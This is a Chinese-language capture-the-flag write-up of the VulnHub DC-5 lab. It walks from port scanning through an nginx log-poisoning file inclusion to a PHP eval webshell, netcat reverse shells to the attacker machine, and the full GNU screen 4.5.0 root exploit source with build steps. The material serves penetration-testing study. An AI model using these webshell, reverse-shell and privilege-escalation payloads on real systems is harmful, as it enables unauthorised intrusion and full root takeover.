5.vulnhub渗透测试综合靶场DC-5
信息收集
nmap扫描:nmap -sP 192.168.200.0/24,扫描到了192.168.200.149地址
arp-scan进行探活,寻找靶机ip
使用nmap探活端口
nmap -A -p- -v 192.168.200.149
使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.200.149
web指纹信息识别
whatweb -v 192.168.200.149,可以看到是nginx:1.6.2版本
渗透测试
进入网站随便点点,发现有一个留言板,输入一下并提交
每刷新一下页面都会改变,判断会有文件包含漏洞
使用BurpSuite爆破文件包含的变量名即可能被包含的值
添加payload位置,导入php目录字典,进行爆破
确定文件包含漏洞位置是footer.php文件
使用BurpSuite爆破文件包含的变量名即可能被包含的值
http://192.168.200.149/thankyou.php?page=footer.php
在网上搜索发现,nginx文件位置,/var/log/nginx/access.log、/var/log/nginx/error.log
成功读取
访问access.log日志文件,使用burpsuite,抓包写入phpinfo
成功读取到文件
尝试写入webshell一句话木马
GET <?php @eval($_POST[cmd])?> HTTP/1.1
成功连接到webshell
新创建一个shell文件并保存
连接自己新的shell.php文件
反弹shell到kali攻击机
靶机:nc -e /bin/bash 192.168.200.145 9999
攻击机:nc -lvvp 9999
python反弹交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
suid提权
使用find命令,查找具有suid权限的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
发现screen-4.5.0
在kali机器下搜索screen 4.5.0漏洞脚本文件
脚本拷贝到/root目录下
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh
查看脚本文件后看到,需要我们进行编译
创建并编译第一个脚本文件:libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
执行:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
创建并编译第二个脚本文件:rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
执行:
gcc -o rootshell rootshell.c
创建并编译第三个脚本文件:dc5.sh
最后保存是需要输入:set ff=unix为了防止脚本的格式错误
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
两种上传文件到靶机的方式:
1.这三个脚本文件通过蚁剑上传至靶机的/tmp目录下
2.利用SCP从攻击机取文件
scp -r root@攻击机IP:文件所在绝对路径 目的地绝对路径
scp -r root@192.168.200.145:/root/dc-5/libhax.so /tmp
scp -r root@192.168.200.145:/root/dc-5/rootshell /tmp
scp -r root@192.168.200.145:/root/dc-5/dc5.sh /tmp
给dc5.sh加执行权限
执行dc5.sh脚本文件
最后拿到root用户,成功提权
在root目录下拿到flag
本次渗透测试学习收获
dirsearch目录扫描工具
文件包含漏洞的发现尝试?file=/etc/passwd打开文件是否是文件包含漏洞
burp抓包修改数据将一句话木马发送到靶机,查看Nginx日志是否有一句话木马
nginx日志文件
/var/log/nginx/access.log
/var/log/nginx/error.log
nc反弹shell
nc 192.168.200.149 4444 -e /bin/sh
kali监听
nc -lvpn 4444
shell交互使用
python -c 'import pty;pty.spawn("/bin/sh")'
查看suid的文件夹
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
kali搜索screen-4.5.0漏洞
使用41145.sh脚本提权